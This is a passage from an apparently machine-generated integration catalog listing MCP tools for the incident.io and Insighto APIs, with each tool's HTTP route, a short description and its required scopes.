incidentio_post_v3_catalog_entries (write) — Create an entry within the catalog. We support a maximum of 50,000 entries per type. If you call this API with a payload where the external_id and catalog_type_id match an existing entry, the existing entry will be updated. via POST /v3/catalog_entries POST /api/v1/incidentio/v3/catalog_entries. Scopes: catalog_entries.create. incidentio_post_v3_catalog_entries_actions_bulk_update (write) — Update multiple catalog entries in a single operation. You can update up to 250 entries at once. This operation is atomic - either all entries are updated successfully, or none are updated. via POST /v3/catalog_entries/actions/bulk_update POST /api/v1/incidentio/v3/catalog_entries/actions/bulk_update. Scopes: catalog_entries.edit. incidentio_post_v3_catalog_types (write) — Create a catalog type. The schema must be updated using the UpdateTypeSchema endpoint. via POST /v3/catalog_types POST /api/v1/incidentio/v3/catalog_types. Scopes: catalog_types.create. incidentio_post_v3_catalog_types_by_id_actions_update_schema (write) — Update an existing catalog types schema, adding or removing attributes. Updating the schema is handled separately from creating and updating types, so that you don't have to worry about dependencies between types. For example, if type A has an attribute that relies on type B, you would have to create type B first. By allowing the creation of types without a schema, they can be created in any order, but it means that you need to make a separate call to this endpoint to update the schema. via POST /v3/catalog_types/{id}/actions/update_schema POST /api/v1/incidentio/v3/catalog_types/{id}/actions/update_schema. Scopes: catalog_types.edit. incidentio_post_v3_follow_ups (write) — Create a new incident follow-up. via POST /v3/follow_ups POST /api/v1/incidentio/v3/follow_ups. Scopes: follow_ups.create. incidentio_post_v3_follow_ups_by_id_actions_connect_external_issue (write) — Connect a follow-up to an existing issue in an issue tracker, using the URL of the issue. This will not work if the follow-up is already connected to an external issue. via POST /v3/follow_ups/{id}/actions/connect_external_issue POST /api/v1/incidentio/v3/follow_ups/{id}/actions/connect_external_issue. Scopes: follow_ups.connect_external_issue. incidentio_put_v1_alert_notes_by_id (write) — Replace the content of an alert note. via PUT /v1/alert_notes/{id} PUT /api/v1/incidentio/v1/alert_notes/{id}. Scopes: alerts.edit. incidentio_put_v1_api_keys_by_id (write) — Update an existing API key's name, roles, or team assignments. All fields must be provided (PUT semantics). The calling API key can only assign roles whose scopes are a subset of its own. An API key cannot edit itself, and the `api_keys_manage` role cannot be assigned via the API. This endpoint requires a valid API key with the `api_keys_manage` role at either the account level or team level. via PUT /v1/api_keys/{id} PUT /api/v1/incidentio/v1/api_keys/{id}. Scopes: api_keys.update. incidentio_put_v1_custom_field_options_by_id (write) — Update a custom field option via PUT /v1/custom_field_options/{id} PUT /api/v1/incidentio/v1/custom_field_options/{id}. Scopes: organisation_settings.update. incidentio_put_v1_incident_statuses_by_id (write) — Update an existing incident status via PUT /v1/incident_statuses/{id} PUT /api/v1/incidentio/v1/incident_statuses/{id}. Scopes: incident_lifecycles.update. incidentio_put_v1_incident_templates_by_id (write) — Update an incident template. This is a full replacement: any field not supplied is cleared. via PUT /v1/incident_templates/{id} PUT /api/v1/incidentio/v1/incident_templates/{id}. Scopes: incident_template.update. incidentio_put_v1_ip_allowlists (write) — Update the IP allowlist for your organisation via PUT /v1/ip_allowlists PUT /api/v1/incidentio/v1/ip_allowlists. Scopes: security_settings.update. incidentio_put_v1_maintenance_windows_by_id (write) — Update an existing maintenance window. via PUT /v1/maintenance_windows/{id} PUT /api/v1/incidentio/v1/maintenance_windows/{id}. Scopes: maintenance_window.update. incidentio_put_v1_postmortem_documents_by_id (write) — Update the status of a post-mortem document. via PUT /v1/postmortem_documents/{id} PUT /api/v1/incidentio/v1/postmortem_documents/{id}. Scopes: in_app_postmortems.update_status. incidentio_put_v1_severities_by_id (write) — Update an existing severity via PUT /v1/severities/{id} PUT /api/v1/incidentio/v1/severities/{id}. Scopes: organisation_settings.update. incidentio_put_v2_actions_by_id (write) — Update an existing incident action. via PUT /v2/actions/{id} PUT /api/v1/incidentio/v2/actions/{id}. Scopes: actions.update. incidentio_put_v2_alert_attributes_by_id (write) — Update an alert attribute. via PUT /v2/alert_attributes/{id} PUT /api/v1/incidentio/v2/alert_attributes/{id}. Scopes: alert_schema.update. incidentio_put_v2_alert_routes_by_id (write) — Update an existing alert route in your account. via PUT /v2/alert_routes/{id} PUT /api/v1/incidentio/v2/alert_routes/{id}. Scopes: alert_route.update. incidentio_put_v2_alert_sources_by_id (write) — Update an existing alert source in your account. via PUT /v2/alert_sources/{id} PUT /api/v1/incidentio/v2/alert_sources/{id}. Scopes: alert_source.update. incidentio_put_v2_custom_fields_by_id (write) — Update the details of a custom field via PUT /v2/custom_fields/{id} PUT /api/v1/incidentio/v2/custom_fields/{id}. Scopes: organisation_settings.update. incidentio_put_v2_escalation_paths_by_id (write) — Updates an escalation path. We recommend you create escalation paths in the incident.io dashboard where our path builder makes it easy to use conditions and visualise the path. via PUT /v2/escalation_paths/{id} PUT /api/v1/incidentio/v2/escalation_paths/{id}. Scopes: escalation_paths.update. incidentio_put_v2_incident_roles_by_id (write) — Update an existing incident role via PUT /v2/incident_roles/{id} PUT /api/v1/incidentio/v2/incident_roles/{id}. Scopes: organisation_settings.update. incidentio_put_v2_policies_by_id (write) — Update an existing policy. The policy_type of an existing policy cannot be changed: sending a different type is rejected. Create a new policy instead. via PUT /v2/policies/{id} PUT /api/v1/incidentio/v2/policies/{id}. Scopes: policies.create. incidentio_put_v2_schedule_overrides_by_id (write) — Update a schedule override, moving its window or the rotation and layer it sits on. An override cannot be reassigned: send the user it already has, and delete and recreate it to put someone else on call for that window. Overrides on a layer cannot overlap, so widening one over its neighbour's window takes that time over. The neighbour is deleted, and any of its time left outside the new window comes back as new overrides with new IDs, so other override IDs on this layer may stop resolving — list the schedule's overrides again to pick up the replacements. via PUT /v2/schedule_overrides/{id} PUT /api/v1/incidentio/v2/schedule_overrides/{id}. Scopes: schedule_overrides.update. incidentio_put_v2_schedule_sync_targets_by_id (write) — Update the add_bot_to_group flag on a sync target. The change propagates to every schedule with an active sync rule pointing at this target; the entire operation aborts if the caller lacks edit permission on any of those schedules. via PUT /v2/schedule_sync_targets/{id} PUT /api/v1/incidentio/v2/schedule_sync_targets/{id}. Scopes: schedule_sync_targets.update. incidentio_put_v2_schedules_by_id (write) — Update a schedule. Updating a schedule replaces its entire configuration with the one you send, including any scheduled future versions of its rotations — fetch the schedule first and include every version you want to keep. To change who's in a rotation from a future date without affecting shifts before then, keep the current version unchanged and add another version of the same rotation with `effective_from` set to when the change should land — ideally an upcoming handover, so nobody is swapped mid-shift. You can check the effect of any configuration before saving it with Preview schedule entries. via PUT /v2/schedules/{id} PUT /api/v1/incidentio/v2/schedules/{id}. Scopes: schedules.update. incidentio_put_v2_schedules_by_schedule_id_sync_rules_by_id (write) — Update a sync rule's sync_type and permanent members in place. If the rule's sync target is shared with other schedules, a sync_type change propagates to every linked schedule and the entire operation aborts if the caller lacks edit permission on any of them. Permanent members are scoped to this rule and never propagate. via PUT /v2/schedules/{schedule_id}/sync_rules/{id} PUT /api/v1/incidentio/v2/schedules/{schedule_id}/sync_rules/{id}. Scopes: schedule_sync_rules.update. incidentio_put_v2_secrets_by_id (write) — Update a secret's metadata. Does not change the value: use the rotate action for that. via PUT /v2/secrets/{id} PUT /api/v1/incidentio/v2/secrets/{id}. Scopes: secrets.update. incidentio_put_v2_status_page_incidents_by_status_page_incident_id (write) — Update a status page incident. This endpoint requires an API key with the "Create status page incidents, status page maintenance windows, and publish status page updates" scope. via PUT /v2/status_page_incidents/{status_page_incident_id} PUT /api/v1/incidentio/v2/status_page_incidents/{status_page_incident_id}. Scopes: status_pages.publish_updates. incidentio_put_v2_telemetry_data_sources_by_id (write) — Update the credentials or configuration of a telemetry data source. Provide only the config block that matches your data source type (e.g. grafana_config for Grafana, datadog_config for Datadog). New credentials are validated against the provider before being saved. via PUT /v2/telemetry/data_sources/{id} PUT /api/v1/incidentio/v2/telemetry/data_sources/{id}. Scopes: telemetry_data_source.update. incidentio_put_v2_workflows_by_id (write) — Updates a workflow via PUT /v2/workflows/{id} PUT /api/v1/incidentio/v2/workflows/{id}. Scopes: workflows.update. incidentio_put_v3_actions_by_id (write) — Update an existing incident action. via PUT /v3/actions/{id} PUT /api/v1/incidentio/v3/actions/{id}. Scopes: actions.update. incidentio_put_v3_alert_routes_by_id (write) — Update an existing alert route in your account. via PUT /v3/alert_routes/{id} PUT /api/v1/incidentio/v3/alert_routes/{id}. Scopes: alert_route.update. incidentio_put_v3_catalog_entries_by_id (write) — Updates an existing catalog entry. via PUT /v3/catalog_entries/{id} PUT /api/v1/incidentio/v3/catalog_entries/{id}. Scopes: catalog_entries.edit. incidentio_put_v3_catalog_types_by_id (write) — Updates an existing catalog type. The schema must be updated using the UpdateTypeSchema endpoint. via PUT /v3/catalog_types/{id} PUT /api/v1/incidentio/v3/catalog_types/{id}. Scopes: catalog_types.edit. incidentio_put_v3_follow_ups_by_id (write) — Update an existing incident follow-up. via PUT /v3/follow_ups/{id} PUT /api/v1/incidentio/v3/follow_ups/{id}. Scopes: follow_ups.update. ================================================================================ ## Insighto URL: https://www.agenticfabriq.com/integrations/insighto Section: Integrated Tools Insighto — 226 MCP tools Provider key: insighto. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. insighto_delete_api_v1_agency_billing_by_billing_plan_id (write, destructive) — Delete Billing Plan By Id via DELETE /api/v1/agency/billing/{billing_plan_id} DELETE /api/v1/insighto/api/v1/agency/billing/{billing_plan_id}. Scopes: api. insighto_delete_api_v1_agency_by_agency_id (write, destructive) — Delete an agency by its id. Owner only. via DELETE /api/v1/agency/{agency_id} DELETE /api/v1/insighto/api/v1/agency/{agency_id}. Scopes: api. insighto_delete_api_v1_agency_by_agency_id_staff_by_user_id (write, destructive) — Remove a staff member. Owner or admin (cannot remove owner). via DELETE /api/v1/agency/{agency_id}/staff/{user_id} DELETE /api/v1/insighto/api/v1/agency/{agency_id}/staff/{user_id}. Scopes: api. insighto_delete_api_v1_agency_by_agency_id_staff_invite_by_invite_id (write, destructive) — Cancel a pending invite. Owner or admin only. via DELETE /api/v1/agency/{agency_id}/staff/invite/{invite_id} DELETE /api/v1/insighto/api/v1/agency/{agency_id}/staff/invite/{invite_id}. Scopes: api. insighto_delete_api_v1_assistant_by_assistant_id (write, destructive) — Delete Assistant By Id via DELETE /api/v1/assistant/{assistant_id} DELETE /api/v1/insighto/api/v1/assistant/{assistant_id}. Scopes: api. insighto_delete_api_v1_calendar_pool_by_pool_id (write, destructive) — Delete Pool via DELETE /api/v1/calendar_pool/{pool_id} DELETE /api/v1/insighto/api/v1/calendar_pool/{pool_id}. Scopes: api. insighto_delete_api_v1_calendar_pool_by_pool_id_members_by_member_id (write, destructive) — Remove Member via DELETE /api/v1/calendar_pool/{pool_id}/members/{member_id} DELETE /api/v1/insighto/api/v1/calendar_pool/{pool_id}/members/{member_id}. Scopes: api. insighto_delete_api_v1_campaign_by_campaign_id (write, destructive) — Delete an form by its id via DELETE /api/v1/campaign/{campaign_id} DELETE /api/v1/insighto/api/v1/campaign/{campaign_id}. Scopes: api. insighto_delete_api_v1_campaign_contact_by_campaign_contact_id (write, destructive) — Delete an campaign_contact by its id via DELETE /api/v1/campaign_contact/{campaign_contact_id} DELETE /api/v1/insighto/api/v1/campaign_contact/{campaign_contact_id}. Scopes: api. insighto_delete_api_v1_capturedform_by_capturedform_id (write, destructive) — Delete an capturedform by its id via DELETE /api/v1/capturedform/{capturedform_id} DELETE /api/v1/insighto/api/v1/capturedform/{capturedform_id}. Scopes: api. insighto_delete_api_v1_capturedform_multiple (write, destructive) — Delete forms in bulk via DELETE /api/v1/capturedform/multiple DELETE /api/v1/insighto/api/v1/capturedform/multiple. Scopes: api. insighto_delete_api_v1_channel_by_channel_id (write, destructive) — Delete a channel by its id via DELETE /api/v1/channel/{channel_id} DELETE /api/v1/insighto/api/v1/channel/{channel_id}. Scopes: api. insighto_delete_api_v1_channel_twilio_by_twilio_auth_id (write, destructive) — Delete a twilio auth by its id via DELETE /api/v1/channel/twilio/{twilio_auth_id} DELETE /api/v1/insighto/api/v1/channel/twilio/{twilio_auth_id}. Scopes: api. insighto_delete_api_v1_contact_by_contact_id (write, destructive) — Delete an contact by its id via DELETE /api/v1/contact/{contact_id} DELETE /api/v1/insighto/api/v1/contact/{contact_id}. Scopes: api. insighto_delete_api_v1_contact_custom_field_by_contact_custom_field_id (write, destructive) — Delete an Contact Custom Field by its id via DELETE /api/v1/contact_custom_field/{contact_custom_field_id} DELETE /api/v1/insighto/api/v1/contact_custom_field/{contact_custom_field_id}. Scopes: api. insighto_delete_api_v1_contact_multiple (write, destructive) — Delete contacts in bulk via DELETE /api/v1/contact/multiple DELETE /api/v1/insighto/api/v1/contact/multiple. Scopes: api. insighto_delete_api_v1_contact_sync_log_by_contact_sync_log_id (write, destructive) — Delete an contact_sync_log by its id via DELETE /api/v1/contact_sync_log/{contact_sync_log_id} DELETE /api/v1/insighto/api/v1/contact_sync_log/{contact_sync_log_id}. Scopes: api. insighto_delete_api_v1_conversation_by_conversation_id (write, destructive) — Delete conversation and its chat history by its id via DELETE /api/v1/conversation/{conversation_id} DELETE /api/v1/insighto/api/v1/conversation/{conversation_id}. Scopes: api. insighto_delete_api_v1_conversation_flow_by_conversation_flow_id (write, destructive) — Delete an conversation_flow by its id via DELETE /api/v1/conversation_flow/{conversation_flow_id} DELETE /api/v1/insighto/api/v1/conversation_flow/{conversation_flow_id}. Scopes: api. insighto_delete_api_v1_conversation_multiple (write, destructive) — Delete conversations in bulk via DELETE /api/v1/conversation/multiple DELETE /api/v1/insighto/api/v1/conversation/multiple. Scopes: api. insighto_delete_api_v1_datasource_by_datasource_id (write, destructive) — Deletes a datasource by its id via DELETE /api/v1/datasource/{datasource_id} DELETE /api/v1/insighto/api/v1/datasource/{datasource_id}. Scopes: api. insighto_delete_api_v1_datasource_by_datasource_id_assistant_by_assistant_id (write, destructive) — Linked Assitant Deletes a datasource by its via DELETE /api/v1/datasource/{datasource_id}/assistant/{assistant_id} DELETE /api/v1/insighto/api/v1/datasource/{datasource_id}/assistant/{assistant_id}. Scopes: api. insighto_delete_api_v1_datasource_datasourcefile_by_datasourcefile_id (write, destructive) — Deletes a datasource file by its id via DELETE /api/v1/datasource/datasourcefile/{datasourcefile_id} DELETE /api/v1/insighto/api/v1/datasource/datasourcefile/{datasourcefile_id}. Scopes: api. insighto_delete_api_v1_form_by_form_id (write, destructive) — Delete an form by its id via DELETE /api/v1/form/{form_id} DELETE /api/v1/insighto/api/v1/form/{form_id}. Scopes: api. insighto_delete_api_v1_form_multiple (write, destructive) — Delete forms in bulk via DELETE /api/v1/form/multiple DELETE /api/v1/insighto/api/v1/form/multiple. Scopes: api. insighto_delete_api_v1_intent_by_intent_id (write, destructive) — Delete an intent by its id via DELETE /api/v1/intent/{intent_id} DELETE /api/v1/insighto/api/v1/intent/{intent_id}. Scopes: api. insighto_delete_api_v1_link_tag_entity_by_link_tag_entity_id (write, destructive) — Delete an link_tag_entity by its id via DELETE /api/v1/link_tag_entity/{link_tag_entity_id} DELETE /api/v1/insighto/api/v1/link_tag_entity/{link_tag_entity_id}. Scopes: api. insighto_delete_api_v1_outbound_webhook_by_webhook_id (write, destructive) — Delete an webhook by its id via DELETE /api/v1/outbound_webhook/{webhook_id} DELETE /api/v1/insighto/api/v1/outbound_webhook/{webhook_id}. Scopes: api. insighto_delete_api_v1_prompt_by_prompt_id (write, destructive) — Delete an prompt by its id via DELETE /api/v1/prompt/{prompt_id} DELETE /api/v1/insighto/api/v1/prompt/{prompt_id}. Scopes: api. insighto_delete_api_v1_provider_by_provider_id (write, destructive) — Delete Provider by its id via DELETE /api/v1/provider/{provider_id} DELETE /api/v1/insighto/api/v1/provider/{provider_id}. Scopes: api. insighto_delete_api_v1_tag_by_tag_id (write, destructive) — Delete an tag by its id via DELETE /api/v1/tag/{tag_id} DELETE /api/v1/insighto/api/v1/tag/{tag_id}. Scopes: api. insighto_delete_api_v1_tool_by_tool_id (write, destructive) — Delete an tool by its id via DELETE /api/v1/tool/{tool_id} DELETE /api/v1/insighto/api/v1/tool/{tool_id}. Scopes: api. insighto_delete_api_v1_tool_by_tool_id_linktooluser (write, destructive) — To delete a link between tool and user via DELETE /api/v1/tool/{tool_id}/LinkToolUser DELETE /api/v1/insighto/api/v1/tool/{tool_id}/LinkToolUser. Scopes: api. insighto_delete_api_v1_tool_function_invoke_log_by_tool_function_invoke_log_id (write, destructive) — Delete tool_function_invoke_log by its id via DELETE /api/v1/tool_function_invoke_log/{tool_function_invoke_log_id} DELETE /api/v1/insighto/api/v1/tool_function_invoke_log/{tool_function_invoke_log_id}. Scopes: api. insighto_delete_api_v1_tool_tooluser_by_tool_user_id (write, destructive) — To delete a link between tool and user via DELETE /api/v1/tool/ToolUser/{tool_user_id} DELETE /api/v1/insighto/api/v1/tool/ToolUser/{tool_user_id}. Scopes: api. insighto_delete_api_v1_toolfunction_by_toolfunction_id (write, destructive) — Delete an toolfunction by its id via DELETE /api/v1/toolfunction/{toolfunction_id} DELETE /api/v1/insighto/api/v1/toolfunction/{toolfunction_id}. Scopes: api. insighto_delete_api_v1_user_by_userwhatsapp_id_userwhatsapp (write, destructive) — Delete an userwhatsapp by its id via DELETE /api/v1/user/{userwhatsapp_id}/UserWhatsApp DELETE /api/v1/insighto/api/v1/user/{userwhatsapp_id}/UserWhatsApp. Scopes: api. insighto_delete_api_v1_user_remove_agent_by_agent_id (write, destructive) — Remove Agent via DELETE /api/v1/user/remove_agent/{agent_id} DELETE /api/v1/insighto/api/v1/user/remove_agent/{agent_id}. Scopes: api. insighto_delete_api_v1_users_me_device_token_by_token (write, destructive) — Unregister FCM device token via DELETE /api/v1/users/me/device_token/{token} DELETE /api/v1/insighto/api/v1/users/me/device_token/{token}. Scopes: api. insighto_delete_api_v1_widget_by_widget_id (write, destructive) — Delete a widget by its id via DELETE /api/v1/widget/{widget_id} DELETE /api/v1/insighto/api/v1/widget/{widget_id}. Scopes: api. insighto_delete_api_v1_workflow_by_workflow_id (write, destructive) — Delete Workflow via DELETE /api/v1/workflow/{workflow_id} DELETE /api/v1/insighto/api/v1/workflow/{workflow_id}. Scopes: api. insighto_get_api_v1_agency_analytics_by_agency_id_overview (read) — Summary metrics for the agency for the current calendar month. via GET /api/v1/agency/analytics/{agency_id}/overview GET /api/v1/insighto/api/v1/agency/analytics/{agency_id}/overview. Scopes: api. insighto_get_api_v1_agency_analytics_by_agency_id_subaccounts (read) — Subaccount breakdown: each user with their plan and credit utilization. via GET /api/v1/agency/analytics/{agency_id}/subaccounts GET /api/v1/insighto/api/v1/agency/analytics/{agency_id}/subaccounts. Scopes: api. insighto_get_api_v1_agency_analytics_by_agency_id_timeseries (read) — Usage timeseries for the agency. Granularity: daily or monthly. Defaults: daily → last 30 days; monthly → last 12 months. via GET /api/v1/agency/analytics/{agency_id}/timeseries GET /api/v1/insighto/api/v1/agency/analytics/{agency_id}/timeseries. Scopes: api. insighto_get_api_v1_agency_billing_by_agency_id_billing_plan_list (read) — Get the agency users via GET /api/v1/agency/billing/{agency_id}/billing_plan/list GET /api/v1/insighto/api/v1/agency/billing/{agency_id}/billing_plan/list. Scopes: api. insighto_get_api_v1_agency_billing_by_agency_id_check_stripe_webhook (read) — Agency Check Stripe Webhook via GET /api/v1/agency/billing/{agency_id}/check_stripe_webhook GET /api/v1/insighto/api/v1/agency/billing/{agency_id}/check_stripe_webhook. Scopes: api. insighto_get_api_v1_agency_billing_by_agency_id_get_all_billing_options (read) — Get Agency All Billing Options via GET /api/v1/agency/billing/{agency_id}/get_all_billing_options GET /api/v1/insighto/api/v1/agency/billing/{agency_id}/get_all_billing_options. Scopes: api. insighto_get_api_v1_agency_billing_by_agency_id_get_stripe_billing_plans (read) — Get Agency Stripe Billing Plans via GET /api/v1/agency/billing/{agency_id}/get_stripe_billing_plans. Insighto declares no credential requirement on this operation; it answers without one. GET /api/v1/insighto/api/v1/agency/billing/{agency_id}/get_stripe_billing_plans. Scopes: api. insighto_get_api_v1_agency_billing_by_agency_id_setup_stripe_webhook (read) — Agency Setup Stripe Webhook via GET /api/v1/agency/billing/{agency_id}/setup_stripe_webhook GET /api/v1/insighto/api/v1/agency/billing/{agency_id}/setup_stripe_webhook. Scopes: api. insighto_get_api_v1_agency_billing_by_billing_plan_id (read) — Get Agency Billing Plan via GET /api/v1/agency/billing/{billing_plan_id} GET /api/v1/insighto/api/v1/agency/billing/{billing_plan_id}. Scopes: api. insighto_get_api_v1_agency_billing_subaccount_change_billing_plan (read) — To be used by Agency admins only. Changes the billing plan of subaccount. - **agency_id**: the agency ID under which the subaccount is created - **subaccount_user_id**: the user ID for which the billing refresh has to be performed - **new_billing_plan_id**: billing_plan_id for the new plan via GET /api/v1/agency/billing/subaccount/change_billing_plan GET /api/v1/insighto/api/v1/agency/billing/subaccount/change_billing_plan. Scopes: api. insighto_get_api_v1_agency_billing_subaccount_refresh_billing_cycle (read) — To be used by Agency admins only. Refreshes the credits of your subaccounts with an optional field to set the next billing date. - **agency_id**: the agency ID under which the subaccount is created - **subaccount_user_id**: the user ID for which the billing refresh has to be performed - **next_billing_cycle_in_months**: sets the next refresh date for the user. default = as per the billing plan via GET /api/v1/agency/billing/subaccount/refresh_billing_cycle GET /api/v1/insighto/api/v1/agency/billing/subaccount/refresh_billing_cycle. Scopes: api. insighto_get_api_v1_agency_by_agency_id (read) — Gets an agency by its id via GET /api/v1/agency/{agency_id} GET /api/v1/insighto/api/v1/agency/{agency_id}. Scopes: api. insighto_get_api_v1_agency_by_agency_id_branding (read) — Get the branding of an agency by its ID. via GET /api/v1/agency/{agency_id}/branding. Insighto declares no credential requirement on this operation; it answers without one. GET /api/v1/insighto/api/v1/agency/{agency_id}/branding. Scopes: api. insighto_get_api_v1_agency_by_agency_id_checklist (read) — Get the status if ready to go via GET /api/v1/agency/{agency_id}/checklist GET /api/v1/insighto/api/v1/agency/{agency_id}/checklist. Scopes: api. insighto_get_api_v1_agency_by_agency_id_list_users (read) — Get the agency users via GET /api/v1/agency/{agency_id}/list_users GET /api/v1/insighto/api/v1/agency/{agency_id}/list_users. Scopes: api. insighto_get_api_v1_agency_by_agency_id_staff (read) — List current staff members and pending invites. Owner or admin only. via GET /api/v1/agency/{agency_id}/staff GET /api/v1/insighto/api/v1/agency/{agency_id}/staff. Scopes: api. insighto_get_api_v1_agency_get_my_details (read) — Get Agency Details via GET /api/v1/agency/get_my_details. Insighto declares no credential requirement on this operation; it answers without one. GET /api/v1/insighto/api/v1/agency/get_my_details. Scopes: api. insighto_get_api_v1_agency_list (read) — Retrieve all Agency via GET /api/v1/agency/list GET /api/v1/insighto/api/v1/agency/list. Scopes: api. insighto_get_api_v1_agency_my_agencies (read) — Returns every agency the caller has access to: - agencies they own (created_by_id = current_user.id) - agencies where they are staff (role in admin/member/viewer via LinkOrgUser) Each entry includes the caller's role. via GET /api/v1/agency/my_agencies GET /api/v1/insighto/api/v1/agency/my_agencies. Scopes: api. insighto_get_api_v1_assistant (read) — Retrieve assistants. via GET /api/v1/assistant GET /api/v1/insighto/api/v1/assistant. Scopes: api. insighto_get_api_v1_assistant_by_assistant_id (read) — Gets an assistant by its id via GET /api/v1/assistant/{assistant_id} GET /api/v1/insighto/api/v1/assistant/{assistant_id}. Scopes: api. insighto_get_api_v1_assistant_by_assistant_id_data_sources (read) — Retrieve data sources. Requires admin or manager role Required roles: - admin - manager via GET /api/v1/assistant/{assistant_id}/data_sources GET /api/v1/insighto/api/v1/assistant/{assistant_id}/data_sources. Scopes: api. insighto_get_api_v1_assistant_by_assistant_id_intents (read) — Retrieve intents linked to the assistant via GET /api/v1/assistant/{assistant_id}/intents GET /api/v1/insighto/api/v1/assistant/{assistant_id}/intents. Scopes: api. insighto_get_api_v1_assistant_by_assistant_id_widgets (read) — Retrieve widgets attached to the assistant via GET /api/v1/assistant/{assistant_id}/widgets GET /api/v1/insighto/api/v1/assistant/{assistant_id}/widgets. Scopes: api. insighto_get_api_v1_calendar_pool (read) — List calendar pools scoped to the active team or personal. via GET /api/v1/calendar_pool GET /api/v1/insighto/api/v1/calendar_pool. Scopes: api. insighto_get_api_v1_calendar_pool_by_pool_id (read) — Get Pool via GET /api/v1/calendar_pool/{pool_id} GET /api/v1/insighto/api/v1/calendar_pool/{pool_id}. Scopes: api. insighto_get_api_v1_calendar_pool_by_pool_id_available_slots (read) — Merged availability across all active pool members. via GET /api/v1/calendar_pool/{pool_id}/available_slots GET /api/v1/insighto/api/v1/calendar_pool/{pool_id}/available_slots. Scopes: api. insighto_get_api_v1_calendar_pool_by_pool_id_members (read) — List Members via GET /api/v1/calendar_pool/{pool_id}/members GET /api/v1/insighto/api/v1/calendar_pool/{pool_id}/members. Scopes: api. insighto_get_api_v1_campaign_contact_by_campaign_contact_id (read) — Gets an campaign contact by its id via GET /api/v1/campaign_contact/{campaign_contact_id} GET /api/v1/insighto/api/v1/campaign_contact/{campaign_contact_id}. Scopes: api. insighto_get_api_v1_campaign_contact_list_by_campaign_id (read) — Retrieve contacts via GET /api/v1/campaign_contact/list/{campaign_id} GET /api/v1/insighto/api/v1/campaign_contact/list/{campaign_id}. Scopes: api. insighto_get_api_v1_campaign_get_by_campaign_id (read) — Gets an campaign by its id via GET /api/v1/campaign/get/{campaign_id} GET /api/v1/insighto/api/v1/campaign/get/{campaign_id}. Scopes: api. insighto_get_api_v1_campaign_list (read) — Retrieve Campaigns. Scoped to the active team (X-Team-Id header) when set, otherwise personal. via GET /api/v1/campaign/list GET /api/v1/insighto/api/v1/campaign/list. Scopes: api. insighto_get_api_v1_capturedform_by_form_id (read) — Gets an captured form by its form_id via GET /api/v1/capturedform/{form_id} GET /api/v1/insighto/api/v1/capturedform/{form_id}. Scopes: api. insighto_get_api_v1_capturedintent (read) — Retrieve Captured Intents. via GET /api/v1/capturedintent GET /api/v1/insighto/api/v1/capturedintent. Scopes: api. insighto_get_api_v1_channel_by_channel_id (read) — Gets a channel by its id via GET /api/v1/channel/{channel_id} GET /api/v1/insighto/api/v1/channel/{channel_id}. Scopes: api. insighto_get_api_v1_channel_list (read) — Retrieve list of channel via GET /api/v1/channel/list GET /api/v1/insighto/api/v1/channel/list. Scopes: api. insighto_get_api_v1_channel_twilio_by_twilio_auth_id (read) — Gets a twilio auth by its id via GET /api/v1/channel/twilio/{twilio_auth_id} GET /api/v1/insighto/api/v1/channel/twilio/{twilio_auth_id}. Scopes: api. insighto_get_api_v1_channel_twilio_by_twilio_auth_id_phone_numbers (read) — Retrieve twilio phone numbers via GET /api/v1/channel/twilio/{twilio_auth_id}/phone_numbers GET /api/v1/insighto/api/v1/channel/twilio/{twilio_auth_id}/phone_numbers. Scopes: api. insighto_get_api_v1_channel_twilio_list (read) — Retrieve twilio auth via GET /api/v1/channel/twilio/list GET /api/v1/insighto/api/v1/channel/twilio/list. Scopes: api. insighto_get_api_v1_contact (read) — Retrieve Contact. Scoped to the active team (X-Team-Id header) when set, otherwise personal. via GET /api/v1/contact GET /api/v1/insighto/api/v1/contact. Scopes: api. insighto_get_api_v1_contact_by_contact_id (read) — Gets an contact by its id via GET /api/v1/contact/{contact_id} GET /api/v1/insighto/api/v1/contact/{contact_id}. Scopes: api. insighto_get_api_v1_contact_custom_field_by_contact_custom_field_id (read) — Gets an Contact Custom field by its id via GET /api/v1/contact_custom_field/{contact_custom_field_id} GET /api/v1/insighto/api/v1/contact_custom_field/{contact_custom_field_id}. Scopes: api. insighto_get_api_v1_contact_custom_field_list (read) — Retrieve Contact Custom Field via GET /api/v1/contact_custom_field/list GET /api/v1/insighto/api/v1/contact_custom_field/list. Scopes: api. insighto_get_api_v1_contact_sync_log_list (read) — Retrieve Contact_sync_log via GET /api/v1/contact_sync_log/list GET /api/v1/insighto/api/v1/contact_sync_log/list. Scopes: api. insighto_get_api_v1_conversation (read) — Gets the list of conversations for assistant_id filter by daterange in descending order via GET /api/v1/conversation GET /api/v1/insighto/api/v1/conversation. Scopes: api. insighto_get_api_v1_conversation_by_contact_by_contact_id (read) — Get the list of Conversations linked to a **contact_id** via GET /api/v1/conversation/by-contact/{contact_id} GET /api/v1/insighto/api/v1/conversation/by-contact/{contact_id}. Scopes: api. insighto_get_api_v1_conversation_by_conversation_id (read) — Gets the conversation by its id via GET /api/v1/conversation/{conversation_id} GET /api/v1/insighto/api/v1/conversation/{conversation_id}. Scopes: api. insighto_get_api_v1_conversation_by_conversation_id_transcript (read) — Get a complete transcript of a given **conversation_id** via GET /api/v1/conversation/{conversation_id}/transcript GET /api/v1/insighto/api/v1/conversation/{conversation_id}/transcript. Scopes: api. insighto_get_api_v1_conversation_flow_by_conversation_flow_id (read) — Gets an conversation_flow by its id via GET /api/v1/conversation_flow/{conversation_flow_id} GET /api/v1/insighto/api/v1/conversation_flow/{conversation_flow_id}. Scopes: api. insighto_get_api_v1_conversation_flow_list (read) — Retrieve conversation flows. Scoped to the active team (X-Team-Id header) when set, otherwise personal. via GET /api/v1/conversation_flow/list GET /api/v1/insighto/api/v1/conversation_flow/list. Scopes: api. insighto_get_api_v1_datasource (read) — Retrieve data sources. Requires admin or manager role Required roles: - admin - manager via GET /api/v1/datasource GET /api/v1/insighto/api/v1/datasource. Scopes: api. insighto_get_api_v1_datasource_by_datasource_id (read) — Gets a datasource by its id via GET /api/v1/datasource/{datasource_id} GET /api/v1/insighto/api/v1/datasource/{datasource_id}. Scopes: api. insighto_get_api_v1_datasource_by_datasource_id_assistants (read) — Gets assistants for a given datasource via GET /api/v1/datasource/{datasource_id}/assistants GET 